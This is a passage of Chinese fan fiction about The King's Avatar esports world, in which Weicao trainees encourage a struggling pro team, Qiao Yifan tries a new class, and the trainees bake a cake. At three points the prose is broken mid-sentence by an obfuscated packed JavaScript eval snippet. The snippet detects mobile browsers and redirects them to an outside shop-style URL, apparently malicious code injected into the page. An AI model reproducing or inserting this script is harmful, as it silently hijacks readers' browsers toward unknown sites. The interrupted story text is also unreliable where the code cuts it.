一叶之秋:哟,王大眼,消息挺灵通啊?怎么,怕我欺负她啊?还是怕我把你们微草的好苗子给抢了? 王不留行:没有,只是没想到你们认识。 一叶之秋:她姐以前不是嘉世的嘛,小丫头片子以前常来玩,熟得很。昨天输了比赛,她带着个小跟班跑来找我,我还以为是来兴师问罪的,结果是想让我指点一下她那个小朋友。叫乔一帆吧?玩刺客那个。 王不留行:乔一帆? 一叶之秋:对,就那个。我看了一下,那孩子刺客玩得……怎么说呢,太稳了,缺了点锐气。我建议他可以考虑转鬼剑士,阵鬼那种,可能更适合他。哦对了,我还用鬼剑士小号带他们下了个本,顺便也看了看小夏的守护天使,跟着方士谦那小子学得还行,有点样子了。哎,不说了,待会儿还有事,不聊了哈。 对话框暗了下去,叶秋的头像依旧灰着,显然是又潜水了。 王杰希看着屏幕上叶秋最后那几行字,特别是乔一帆这个名字,眉头微微蹙起,陷入了沉思。 乔一帆……训练营里那个玩刺客,技术不错,性格挺稳重的孩子?王杰希对他有印象,基础扎实,意识也可以,在训练营同期的刺客里算是拔尖的。但正如叶秋所说,太稳了,缺乏刺客应有的锋芒和侵略性,所以之前并没有被他列入特别关注的名单。 然而,现在叶秋居然亲自见了这个孩子,还给出了“转鬼剑士”的建议?甚至亲自用鬼剑士小号示范? 以叶秋那懒散又挑剔的性子,如果不是真的看出点什么,是绝不可能费这个功夫的。 难道……是自己看漏了?这个乔一帆身上,有更适合其他职业的、自己未曾注意到的潜质? 王杰希靠在椅背上,手指无意识地敲击着桌面。训练营的评估需要更全面,也许,是时候重新审视一下这个名叫乔一帆的学员了。 他关掉□□对话框,打开了训练营学员的档案管理系统,调出了乔一帆的资料。 窗外,夜色已深。微草俱乐部里大多数房间的灯都熄灭了。但属于队长的这一盏,还亮着,映照着屏幕上那个清秀少年的证件照,和旁边密密麻麻的训练数据。 25.又是连败 休息日的下午,微草训练营里比平时多了几分松散随意的气氛。常规训练已经结束,学员们有的还在加练,有的三三两两聚在一起放松闲聊,还有的戴着耳机沉浸在自己的世界里。 王杰希就是在这个时候悄无声息地出现在训练营门口。 他没有穿队服,只是简单的便装,脚步很轻。有几个眼尖的学员发现了他,脸上立刻露出惊讶和紧张的神色,张嘴就想喊“队长”,却被王杰希一个眼神和手势制止了。 他微微摇了摇头,示意他们继续做自己的事,不必声张。那几个学员立刻噤声,低下头,假装专注于面前的屏幕,但眼角余光还是忍不住往这边瞟。 王杰希的目光平静地扫过训练室。这里是他再熟悉不过的地方,每一台电脑,每一张桌椅,都承载着微草的未来。他的视线很快捕捉到了几个熟悉的身影。 靠窗的那排电脑前,夏轻禾和刘小别正凑在一起,两颗脑袋几乎要碰到一起,聚精会神地盯着同一块屏幕。两人各戴着一只耳机,显然是在共享音频。屏幕上播放的不是游戏画面,也不是比赛录像,而是色彩鲜艳、人物夸张的卡通动画,似乎是什么热门的动漫。 夏轻禾一边看一边小声嘀咕着什么,手指还无意识地比划着,脸上表情丰富。刘小别则显得安静一些,但眼神也紧盯着屏幕,偶尔会简短地回一两句,显然也在认真看。两人完全没察觉到队长的到来。 王杰希看着这有点……画风清奇的组合,脸上没什么表情,心里却有点好笑。夏轻禾这丫头,训练时风风火火,休息时倒是什么都能玩到一起。 他没有上前打扰,目光转向另一边。 高英杰独自坐在一台电脑前,戴着耳机,屏幕上播放的是近期一场微草比赛的录像,正是他和王杰希重点关注过的那场对阵蓝雨的团队赛。高英杰看得很认真,时不时会暂停,用笔在本子上记录着什么,眉头微蹙,全神贯注。他同样没有发现王杰希的到来。 最后,王杰希的目光落在了训练室角落,那个相对安静的位置。 乔一帆坐在那里,同样戴着耳机,背对着门口。和其他人不同,他的屏幕上不是录像,也不是动漫,而是荣耀的游戏界面。他的手指在键盘上敲击得飞快,发出噼里啪啦的密集声响,神情异常专注,嘴唇紧紧抿着,眼睛一眨不眨地盯着屏幕。 王杰希放轻脚步,走了过去,无声地站在了乔一帆身后。 乔一帆完全没有察觉。他正沉浸在自己的世界里。屏幕上的角色,不再是他熟悉的刺客灰月,而是一个新创建的鬼剑士,ID叫一寸灰。角色等级还不高,装备简陋,正随着一支临时组成的野队在低等级副本里奋战。 王杰希安静地看着。 他看到乔一帆操作着一寸灰,跟在队伍后方,没有像输出职业那样冲在前面抢伤害,而是不断地观察着队友的走位和怪物的动向。当坦克拉稳仇恨,输出开始集火时,乔一帆控制着一寸灰,太刀一挥,一个冰霜鬼神阵精准地落在了怪物堆脚下,成功减缓了它们的移动速度,为队友创造了更好的输出环境。 当副本小BOSS释放范围技能时,乔一帆提前预判,将一个刀阵放在了近战输出聚集的区域,提升了他们的瞬间爆发力,配合队友快速打掉了BOSS一截血量。 虽然只是一些基础简单的操作,阵法的释放时机和位置选择也略显稚嫩,但那份冷静观察、提前布局的意识,以及试图用阵法配合团队、提升整体效率的思路,已经初具雏形。 王杰希看着那个冰阵和力阵落下的位置和时机,微微挑了挑眉。 还真让叶秋说中了。 这孩子,对阵鬼这个职业,尤其是偏向团队辅助和控制的阵鬼流派,似乎有着天然的适应性和不错的领悟力。他那种在刺客时期就体现出的稳和观察力,在阵鬼身上找到了更合适的发挥空间。 他没有出声指点,也没有打断乔一帆的练习,只是默默地看了一会儿。直到乔一帆所在的队伍成功推倒了副本BOSS,开始分配掉落时,王杰希才悄无声息地转身,如来时一样,安静地离开了训练室。 他走后不久,夏轻禾和刘小别那边一集动漫也播完了。 “啊——怎么就完了?还没看够呢!”夏轻禾意犹未尽地摘下耳机,伸了个懒腰。 “一周一集,等下周吧。”刘小别倒是很淡定,也摘下了耳机,活动了一下有些僵硬的脖子。两人难得在动漫品味上达成一致,刚才那集看得还挺投入。 “我去倒杯水。”夏轻禾起身,拿着自己的水杯朝饮水机走去。 路过乔一帆的位置时,她看到他还在噼里啪啦地敲键盘,屏幕上那个陌生的鬼剑士角色让她愣了一下。她凑过去,拍了拍乔一帆的肩膀。 乔一帆吓了一跳,猛地回头,看到是夏轻禾才松了口气,摘下耳机。 “吓死我了,轻禾姐。” “你还在练啊?”夏轻禾好奇地看着屏幕,“这是……鬼剑士?你新建的号?” “嗯,”乔一帆点点头,脸上带着一种尝试新事物后的兴奋和些许不确定,“就是……试试看。叶秋前辈不是说可以试试阵鬼吗?我就弄了个小号,从新手任务开始做,找野队下下本,熟悉一下技能和感觉。” “感觉怎么样?”夏轻禾问。 乔一帆想了想,认真地说:“感觉……还不错。虽然技能和刺客完全不一样,手感和节奏也差很多,但是……那种需要提前想好阵放在哪里、什么时候放、怎么配合队友的感觉,好像……挺适合我的。” 他眼睛亮亮的,虽然操作还很生疏,但那种找到了新方向的探索感让他整个人都精神了不少。 “那就好!”夏轻禾高兴地拍了拍他的肩膀,“我就说嘛!叶哥看人肯定准!你先练着,有什么不懂的……呃,我也不知道,不过可以一起研究!或者……”她压低声音,“有机会再偷偷问叶哥?” 乔一帆连忙摆手:“不用不用,已经很麻烦叶秋前辈了。我自己先摸索着,训练营的教官应该也能请教一些基础。” 他可不敢再随便去麻烦叶秋大神了。 “行!那你加油!我去喝水了!”夏轻禾拿着水杯走了。 乔一帆重新戴上耳机,看着屏幕上那个名叫一寸灰的鬼剑士,深吸一口气,目光重新变得专注起来。 ——几周后—— 秋意渐浓,微草俱乐部里的气氛,却似乎比窗外的天气更早一步进入了冬季。 自从主场憾负于嘉世之后,微草在接下来的两轮比赛中,又接连输给了虚空和呼啸两支老牌强队。三连败,对于一个志在卫冕的冠军队伍来说,无疑是一记沉重的打击。积分榜上的领先优势被迅速蚕食,排名也出现了下滑,变成了第二名,第一名是蓝雨战队。 训练营里的气氛也跟着变得有些微妙。虽然学员们大多还接触不到一线队具体的战术安排和心态变化,但那种自上而下弥漫开来的压抑感,却像一层无形的薄雾,笼罩在俱乐部的各个角落。 食堂里,往常这个时候总是充满了队员们轻松的交谈声、餐具碰撞声和偶尔的笑闹。夏轻禾最喜欢在吃饭时拉着乔一帆、高英杰他们坐在一起,边吃边聊,话题可以从最新出的装备属性一路歪到食堂阿姨今天手抖没抖。 但最近这几天,食堂明显安静了许多。 队员们大多是默默地打好饭,找张桌子坐下,埋头快速吃完,然后离开。交谈声都压得很低,内容也多围绕着刚刚结束的比赛或者接下来的对手,语气里少了往日的轻松,多了几分凝重和思索。 夏轻禾端着餐盘,小心翼翼地扫视着偌大的食堂。她看到了几个熟悉的一线队员,都坐在靠窗的位置,表情严肃,低声讨论着什么。她也看到了乔一帆和高英杰,两人坐在角落一张小桌子旁,安静地吃着饭,偶尔交换一个眼神,但都没怎么说话。 她深吸一口气,感觉自己好像又回到了刚进训练营时那种拘谨的状态。连走路都下意识地放轻了脚步,生怕弄出太大动静,打破了这片令人窒息的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102765|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安静。 她排队打好了自己那份饭菜,端着餐盘转身,正要去找乔一帆他们,眼角余光却瞥见了一个身影。 王杰希独自一人,也刚刚打好饭,手里端着餐盘,正朝食堂门口走去,似乎不打算在食堂用餐。 他穿着简单的队服外套,脸上没什么表情,但那平静之下的沉重感,却比任何人都要明显。作为队长,三连败的压力,毫无疑问大部分都压在了他的肩上。 夏轻禾的脚步顿住了。她看着王杰希的背影,脑子里飞快地闪过无数个念头:要不要打招呼?说什么?队长现在心情肯定不好吧?打招呼会不会打扰到他?可是看见了不打招呼好像也不太好…… 就在她犹豫的这几秒钟,王杰希似乎察觉到了什么,脚步微顿,侧过头来。 两人的视线在空中有了短暂的交汇。 夏轻禾心里一紧,几乎是条件反射般地,身体站得笔直,声音不大但清晰地喊了一声: “队长好!” 说完,她就有点后悔。这语气是不是太生硬了?听起来干巴巴的,一点都没有平时活力四射的感觉。而且,在这种压抑的氛围下,这一声招呼显得格外突兀。 王杰希的目光在她脸上停留了一瞬。那双总是平静无波的眼睛里,似乎有某种极其复杂的情绪一闪而过,快得让人几乎捕捉不到。 但他并没有多说什么,只是对着夏轻禾,幅度很小地点了点头。 “嗯。” 一个简单的音节,听不出什么情绪。 然后,他便收回了目光,端着餐盘,步履平稳地继续朝食堂门口走去,很快消失在了门外的走廊拐角。 夏轻禾站在原地,看着队长消失的方向,心里有点不是滋味。那一声“嗯”,明明和平常没什么不同,可不知道为什么,就是让她感觉格外沉重。 她端着餐盘,走到乔一帆和高英杰那张桌子旁,闷闷地坐下。 “轻禾姐,你没事吧?”乔一帆注意到她脸色不太好,小声问。 “没事,”夏轻禾摇摇头,拿起筷子戳了戳碗里的米饭,没什么胃口,“就是……感觉大家好像都不太开心。” 高英杰也放下筷子,小声说:“最近队里……压力是挺大的。” “三连败啊……”夏轻禾叹了口气,“队长他……” 她想说队长看起来也很累,但话到嘴边又咽了回去。这种话,好像不该由她来说。 乔一帆和高英杰都沉默了。他们虽然只是训练营学员,但也隐隐能感受到那种山雨欲来的紧迫感。微草是冠军队伍,承载了太多期待,连续失利带来的质疑和压力,可想而知。 “吃饭吧,”乔一帆轻声说,“吃饱了才有力气训练。” “嗯。”夏轻禾点点头,强迫自己把注意力放到食物上。糖醋排骨的味道依旧酸甜可口,但她吃在嘴里,却好像少了点往常的欢快。 食堂里依旧安静 ,只有餐具偶尔碰撞的细微声响,和远处队员们压低嗓音的讨论。 夏轻禾一边吃着饭,一边忍不住又朝食堂门口看了一眼,脑子里冒出各种问题。 队长是回宿舍吃了吗?还是去会议室了?他一个人……会不会更觉得压力大? 她想起以前,姐姐夏茗还在打职业的时候,也经历过低谷和连败。那时候姐姐会把自己关在宿舍里不回她消息,但她总会自己调整过来,第二天又精神抖擞地去训练,和她说她没事。 队长……应该也能调整过来的吧?他可是王杰希啊。 可是,作为队长,他要承担的,比当年的姐姐要多得多吧? 夏轻禾心里有点乱,既为队伍担忧,又有点心疼那个独自承担一切的身影。但她知道,自己现在能做的,就是好好训练,不添乱,如果能早点变强,或许未来有一天,也能为这支队伍分担一点点压力。 她用力嚼着嘴里的米饭,眼神重新变得坚定起来。 输赢是常事,但微草,绝不会被轻易击垮。这一点,她深信不疑。 26.缺少攻坚 论坛首页,荣耀板块,一个标题醒目的帖子被高高顶起,后面跟着一个火热的“HOT”标志。 【理性分析】微草三连败背后:单核阵容的隐患与攻坚手的缺失 夏轻禾做完一组基础操作练习,活动手腕的间隙,习惯性地刷新了一下常逛的荣耀论坛。这个帖子立刻吸引了她的目光。她皱了皱眉,点了进去。 楼主显然是个资深数据党,帖子写得条理清晰,分析得头头是道。 “微草的阵容,缺点就在于没有典型攻坚手。” 开篇第一句就直指核心。 帖子详细分析了微草目前的阵容构成,肯定了王杰希个人能力的强大,以及方士谦作为治疗之神对团队的巨大支撑作用。但随即话锋一转: “但是,团队赛中,微草主要依靠的是王杰希的个人能力和方士谦的治疗支撑,缺乏一个能够在正面强攻硬打、为魔术师创造更多空间、分担核心压力的攻坚手。” 楼主接着分析了微草最近三连败的对手: “看看微草最近输得都是什么队伍吧。嘉世,有叶秋和苏沐橙这对联盟最负盛名的黄金搭档,叶秋本身就是联盟最强的攻坚手之一,一叶之秋的正面压制力毋庸置疑。” “虚空,有李轩和吴羽策的双鬼拍阵组合,控制与爆发兼备,体系成熟。” “呼啸,有林敬言和方锐的犯罪组合,打法猥琐,配合默契。” 然后,楼主抛出了一个很多人可能想问的问题: “有人或许会说,‘王杰希和方士谦不也是一对搭档吗?’ 但请注意,这不一样。在以上这些组合中,只有方士谦是治疗。方士谦虽然是联盟唯一治疗双卡双待,但他只能站在团队后方给予治疗支援,最多利用控制技能进行骚扰。而真正承受正面压力、需要撕开对手防线、为团队打开局面的,是王杰希。” “邓复生是骑士,这种厚甲职业主要职责是保护和控场;李亦辉是柔道,抓取和单体控制出色,但缺乏持续稳定的高额爆发伤害。这两个职业显然都不适合成为王杰希在进攻端的搭档。至于这个赛季才出道的一些微草新人……他们还需要时间成长,都不适合当进攻核心这个位置。” 最后,楼主给出了一个有些残酷的结论: “所以,我个人认为,这个赛季微草想要夺冠,前景非常不乐观。尤其是在其他强队的核心组合逐渐磨合成熟、战术体系日趋完善的情况下。微草的单核驱动模式,一旦王杰希被重点限制或状态不佳,整个队伍就会陷入极大的被动。三连败,或许只是一个开始。” 夏轻禾一字一句地看完了这个长长的分析帖,手指无意识地蜷缩起来,眉头越皱越紧。 她不想承认,但又不得不承认,这个楼主说得……很有道理。 她回想起最近看的微草比赛录像,尤其是输掉的那几场的团队赛。王杰希的王不留行确实在场上倾尽全力,魔术师打法神出鬼没,试图搅乱对手阵型。方士谦的冬虫夏草也竭尽全力地保证着队友的血线和状态。但总感觉……缺了点什么。当对手顶住王杰希初期的压力,开始有针对性地进行包夹和限制时,微草的攻势就容易陷入停滞,缺少第二个能站出来、用强硬姿态持续施加压力的点。 邓复生的骑士稳重可靠,李亦辉的柔道抓机会能力强,但他们都不是那种能扛着伤害、硬生生砸开对手防线的重锤。 和王杰希搭档的攻坚手吗…… 夏轻禾托着下巴,陷入了深深的沉思。脑海里闪过联盟里那些著名的攻坚手形象:韩文清的大漠孤烟,孙哲平的落花狼藉,还有……叶秋的一叶之秋。他们的共同特点是强大的正面个人作战能力。 微草……有这样的人吗?或者,未来会有吗? 她正想得出神,旁边传来轻微的脚步声和放水杯的声音。乔一帆打水回来了,他看到夏轻禾眉头紧锁、盯着屏幕一脸严肃的样子,愣了一下,轻轻在自己电脑前坐下,没有出声打扰,只是安静地开始自己的练习,偶尔担忧地看一眼夏轻禾。 训练营里的时间在键盘敲击声中悄然流逝。窗外的天色渐渐暗了下来,其他学员陆陆续续结束训练离开。乔一帆也完成了今日的计划,收拾好东西,看到夏轻禾还保持着那个姿势在思考,犹豫了一下,轻声说:“轻禾姐,时间不早了,我先回去了。” “哦……好,一帆再见。”夏轻禾回过神,对他挥了挥手。 乔一帆走后,训练室里只剩下夏轻禾一个人。她关掉了那个令人心烦的论坛页面,却关不掉脑子里那些纷乱的思绪。 她鬼使神差地打开了视频播放器,调出了叶秋的比赛集锦——不是嘉世对微草的那一场,而是叶秋早年的一些经典战役,尤其是一叶之秋作为绝对攻坚核心,率领队伍摧城拔寨的片段。 她看着屏幕上那个手持却邪、一往无前的战斗法师,看着他如何在重重围堵中杀出一条血路,为队友创造机会,看着他那精准到可怕的操作和冷静决断的头脑。 这就是……真正的攻坚手吗? 看着看着,一天的疲惫感涌了上来。屏幕上的光影渐渐模糊,叶秋挥舞战矛的身影变成了重影。夏轻禾的脑袋一点一点,最终抵抗不住困意,趴在了键盘旁边的桌面上,睡着了。 不知过了多久,训练室的门被轻轻推开。 方士谦走了进来。他脸色有些疲惫,眉宇间带着挥之不去的凝重。最近队伍连败,他这个副队长兼治疗核心压力也极大,不仅要调整自己的状态,还要协助王杰希稳定军心,分析对手,几乎连轴转,连带着对自己这个小徒弟的指导都疏忽了不少。他是回来拿白天落在训练营的一份战 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103999|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 术分析资料的。 走进训练室,里面一片昏暗,只有一台电脑的屏幕还亮着,发出幽幽的光。方士谦皱了皱眉,谁这么晚了还不回去? 他走近那台亮着的电脑,首先看到的是趴在桌子上、睡得正熟的夏轻禾。少女的侧脸在屏幕光线下显得格外柔和,呼吸均匀,只是眉头即使在睡梦中也没有完全舒展开。 方士谦的目光移向电脑屏幕。上面正在播放的,是叶秋的战斗集锦,恰好是一叶之秋一个极其漂亮的伏龙翔天收尾,完成逆转击杀的经典镜头。 方士谦愣住了。 这么晚了,这丫头不回去休息,一个人躲在训练营看叶秋的比赛视频?还在看攻坚手的集锦? 他心中掠过一丝复杂的情绪。有对自己近期疏忽的愧疚,有对徒弟这种暗自努力的触动,还有一丝难以言喻的担忧。这丫头,是不是也看到了那些言论,在替队伍担心,甚至在想些什么? 他轻轻叹了口气,伸手,轻轻拍了拍夏轻禾的肩膀。 “轻禾,醒醒。在这睡会着凉的。” “啊,哦……”夏轻禾迷迷糊糊地睁开眼,茫然地眨了眨,好一会儿才聚焦,看清眼前的人是方士谦,“是师父啊……” 她揉着惺忪的睡眼坐直身体,后知后觉地发现自己竟然睡着了,而且电脑上还在放叶秋的视频。 “这么晚你怎么在看叶秋的视频?”方士谦问,语气平静,听不出什么特别的情绪。 “哦……没,没什么!”夏轻禾像是被踩了尾巴的猫,一下子清醒过来,手忙脚乱地关掉了视频播放器和电脑屏幕,脸上闪过一丝慌乱,“就是……随便看看!学习一下!对,学习!” 她抓起自己的背包,匆匆站起来:“师父,我、我要回去了!你也早点休息!” 说完,她几乎是逃也似的跑出了训练室,连落在桌上的水杯都忘了拿。 方士谦站在原地,看着她仓皇离开的背影,又看了看那台已经黑掉的电脑屏幕,沉默了片刻,最终只是无奈地摇了摇头,发出一声几不可闻的叹息。 他拿起自己落下的资料,关掉了训练室的灯,也离开了。 走廊里一片寂静,只有应急灯发出微弱的光。方士谦走向自己的宿舍,脑子里却还在回想着刚才那一幕。 夏轻禾那丫头,平时大大咧咧,天不怕地不怕的样子,原来也会为了队伍的事情,一个人偷偷琢磨到这么晚,甚至看着对手的视频睡着。 “攻坚手……吗?”方士谦低声自语,手指无意识地摩挲着资料夹的边缘。 这个困扰着整个微草战队,甚至被外界反复提及的问题,难道连训练营里这个还没正式出道的小丫头,都开始为之忧心忡忡了吗? 方士谦最终摇了摇头叹了口气,现在想太多也没用。 27.做个蛋糕 难得的训练营休息日,窗外阳光明媚,是个适合放松的好天气。但夏轻禾心里还惦记着微草战队最近的连败阴云,还有论坛上那些尖锐的分析。她躺在床上想了半天,忽然一个主意冒了出来——既然自己现在帮不上什么实质性的忙,那做点什么能让队员们稍微打起精神也好啊! 做什么呢?吃的!好吃的总能让人心情好一点吧!她想起姐姐夏茗以前心情不好的时候,就特别喜欢捣鼓各种甜点,说甜食能分泌多巴胺,让人快乐。 那就做个蛋糕!夏轻禾一拍大腿,决定做个巧克力草莓蛋糕,听起来就很好吃,颜色也喜庆。 不过,做一个像样的蛋糕对她一个人来说工程有点浩大。她立刻拿起手机,在小群里摇人。 夏轻禾:同志们!休息日有空吗?江湖救急!我想做个巧克力草莓蛋糕给一线队的哥哥们打打气,一个人搞不定,求支援!@全体成员 乔一帆几乎是秒回:有空!轻禾姐,需要我做什么? 高英杰过了一会儿也回复:我……我也有空。可是,做蛋糕……我不太会。 刘小别:……做蛋糕?夏轻禾你还会这个?行吧,反正没事,算我一个。 看到三人都能来,夏轻禾顿时有了底气。她立刻开始列购物清单,然后在群里约好时间地点。 一小时后,四人在超市门口集合。夏轻禾俨然一副大厨派头,推着购物车,对照着手机上的清单,熟门熟路地在烘焙区穿梭。 “低筋面粉,要这个牌子的……可可粉……泡打粉……哦,细砂糖……鸡蛋家里有,不用买……淡奶油,要动物奶油的……草莓要新鲜的,挑红的……”她一边念叨,一边往购物车里放东西。 乔一帆推着车,很认真地帮忙核对。高英杰跟在旁边,看着琳琅满目的烘焙材料,眼神里充满了好奇和一丝敬畏。刘小别则双手插兜,一脸“我只是来凑数的”表情,但眼睛也没闲着,打量着货架上的东西。 “轻禾,你……真的会做蛋糕啊?”高英杰忍不住小声问。他实在很难把眼前这个在游戏里横冲直撞、训练时风风火火的夏轻禾,和烘焙这种细致活联系起来。 “那当然!”夏轻禾昂起头,“我姐教的!虽然……好久没做了,但基本流程我记得!放心,不会把厨房炸了的!” 乔一帆笑了笑:“我相信轻禾姐。” 刘小别:“……但愿吧。” 买齐了材料,四人又转战夏轻禾家。夏茗婚后搬走了,父母也不在,家里正好宽敞。夏轻禾系上围裙,颇有架势地开始分配任务。 夏轻禾翻出姐姐留下的烘焙工具和食谱,指挥若定:“一帆,你去把草莓洗干净,去掉叶子!英杰,你帮我称一下低筋面粉和糖!小别,你……你去把鸡蛋打了!小心别把蛋壳掉进去!” 乔一帆乖乖地去洗草莓,动作细致。高英杰拿着电子秤,对照着食谱上的数字,小心翼翼地称量,刘小别则对着几个鸡蛋皱起眉头,似乎觉得打鸡蛋比打荣耀还难,最终在夏轻禾威胁的目光下,笨拙但还算成功地完成了任务。 材料准备齐全,夏轻禾系上围裙,开始正式操作。混合面粉、糖、可可粉,加入打发的鸡蛋和牛奶,搅拌面糊……她一边做一边念念有词,时不时还要看一眼食谱确认步骤。 乔一帆在旁边适时地递上需要的工具,高英杰则负责清理用过的碗具,刘小别……刘小别靠在厨房门口,抱着手臂,一脸“我倒要看看你能做出个什么来”的表情,但眼神里也带着点好奇。 烤箱预热,面糊倒入模具,送入烤箱。等待烘焙的时间里,夏轻禾又指挥着大家处理奶油和草莓。打发奶油是个力气活,夏轻禾试了几下就觉得手酸,刘小别看不过去,接过了打蛋器,他手速快,手臂力量也足,几下就把奶油打发到了理想状态。 “可以啊小别!这手速打发奶油屈才了!”夏轻禾竖起大拇指。 刘小别面无表情:“……闭嘴。” 蛋糕胚烤好出炉,浓郁的巧克力香气弥漫了整个厨房。放凉后,夏轻禾开始进行组装:切开蛋糕胚,抹上奶油,铺上切好的草莓片,再盖上另一层蛋糕胚,表面和四周都抹上厚厚的奶油,最后用剩下的草莓和巧克力屑进行装饰。 成品……嗯,外形看起来有点朴素,奶油抹得不算特别平整,草莓摆放得也有点随意,但整体看起来,确实是个像模像样的双层巧克力草莓蛋糕!红艳艳的草莓点缀在深棕色的巧克力蛋糕和雪白的奶油之间,色泽诱人。 “成功了!”夏轻禾欢呼一声,叉着腰,成就感满满。 “看起来很好吃。”乔一帆由衷地说。 “嗯。”高英杰也点点头,眼神里带着佩服。 刘小别没说话,但目光在蛋糕上多停留了几秒。 “还有剩下的材料,我们再做个小的自己尝尝!”夏轻禾兴致勃勃,又用边角料和剩余的奶油草莓做了个迷你版的小蛋糕。 四人围坐在餐桌旁,分享着那个小小的、卖相不如大蛋糕但同样美味的试验品。甜美的滋味在舌尖化开,驱散了之前制作过程中的一点小慌乱,也让大家的心情都轻松愉快起来。 “对了,我们写点卡片吧,放在蛋糕盒里。”夏轻禾提议,“不用署名,就写点鼓励的话。” 她找来几张颜色清新的便利贴和笔。四个人想了想,各自写下了想说的话。 他们把小小的卡片小心地放在蛋糕盒的夹层里。大蛋糕被仔细地装进印着可爱图案的蛋糕盒,用丝带系好。 第二天,夏轻禾起了个大早。她小心翼翼地把蛋糕盒装进保温袋,提前来到了微草俱乐部。天才蒙蒙亮,走廊里静悄悄的,大部分队员肯定还在睡梦中。 她蹑手蹑脚地摸到一线队的训练室门口,左右张望了一下,轻轻推开门,把蛋糕盒放在训练室中间那张用来开会讨论的大桌子上最显眼的位置。 放好之后,她松了口气,正准备悄咪咪退出去,一转身,却差点撞到一个人身上。 “!” 夏轻禾定睛一看,吓得魂飞魄散差点叫出声,怎么是王杰希! 队长怎么起得这么早?!而且偏偏在这个节骨眼上! 王杰希似乎也是刚到,手里拿着个文件夹,脸上带着晨起的些许倦意,但眼神依旧清醒。他看着慌慌张张的夏轻禾,没什么特别的表示。 “队、队长好啊!”夏轻禾赶紧站直,声音因为紧张而有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17104000|194490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点发飘,脸上挤出个僵硬的笑容。 “嗯。”王杰希只是淡淡地点了点头,目光在她脸上扫过,又似乎不经意地瞥了一眼她身后虚掩的训练室门,但并没有立刻推门进去,也没有多问什么。 夏轻禾也顾不上多想,说了句“队长我先走了!”,就低着头,像只受惊的兔子一样,飞快地从王杰希身边溜走了,背影透着十足的做贼心虚。 王杰希站在原地,看着夏轻禾仓皇逃窜的背影消失在走廊拐角,平静的目光里掠过一丝几不可察的疑惑。他转过身,推开了训练室的门。 目光落在会议室桌子上那个突兀出现的、包装得还挺精致的蛋糕盒上,王杰希的脚步顿住了,脸上露出一丝罕见的愣神。 这时,方士谦也匆匆从另一边走了过来,手里拿着杯刚冲好的咖啡,脸上带着熬夜分析数据的疲惫。他看到王杰希站在训练室门口不进去,有些不解:“怎么了?站这儿当门神?” 他凑过去,顺着王杰希的目光往训练室里一看,也愣住了。 “蛋糕?”方士谦眨了眨眼,围着桌子转了一圈,打量着那个盒子,“这哪来的?你定的?今天谁生日吗?” “不是。”王杰希摇了摇头,语气平静,“是你徒弟刚刚送来的。” “我徒弟?”方士谦一时没反应过来,随即瞪大了眼睛,“夏轻禾?那丫头?她……她会做蛋糕?” 他脸上的表情相当精彩,混合着惊讶、好笑和一丝难以置信,“完全看不出来啊!” 王杰希没接话,只是走到桌边,伸手解开了蛋糕盒上的丝带。盒子打开,一个装饰着鲜红草莓、看起来相当诱人的巧克力草莓蛋糕露了出来,香甜的气味顿时飘散开来。 方士谦也凑了过来,啧啧称奇:“卖相不错啊!闻着也挺香。这丫头,还有这手艺?” 王杰希的目光则落在了蛋糕旁边那几张小小的、颜色各异的便利贴上。他拿起一张,上面画着个搞怪的表情和加油的字样,一看就是夏轻禾的风格。又拿起另外几张,分别是工整的“前辈们辛苦了”,清秀的“相信前辈们”,以及笔锋锐利的“前辈们加油”。 “没想到他们几个小家伙,都挺有心的。”方士谦也看到了那些卡片,脸上的疲惫似乎被这意外的温情冲淡了一些,他拿起附在旁边的塑料刀,切下一小块蛋糕尝了尝,眼睛微微一亮,“嗯?味道还真不错!甜而不腻,草莓挺新鲜。你也尝尝?” 窗外的晨光渐渐明亮起来,透过训练室的窗户,洒在蛋糕上,给鲜红的草莓镀上了一层温暖的金边。 不久之后,微草的其他队员们也陆续来到了训练室。看到桌上那个突然出现的蛋糕,还有队长和副队长微妙的表情,都好奇地围了过来。 “蛋糕?谁过生日吗?” “好香啊!巧克力草莓的!” “还有卡片……是训练营那几个小朋友送的?” 队员们七嘴八舌,气氛不知不觉轻松了一些。王杰希示意大家把蛋糕分了。 方士谦一边吃着蛋糕,一边看着被队员们分食殆尽的蛋糕,又看了看窗外训练营所在的方向,嘴角上扬。 不管怎样,他们还有这些微草的未来支持着他们不是? 28.明星挑战 荣耀最盛大的赛事全明星周末,今年的举办地选在了W市,由雷霆战队主场承办。 消息一出,荣耀圈内外都格外关注。雷霆战队在联盟里算是比较特殊的存在,俱乐部资金不算宽裕,战绩也常年在中下游徘徊,鲜少能闯入季后赛,被不少粉丝戏称为“平民战队”或“穷队”。 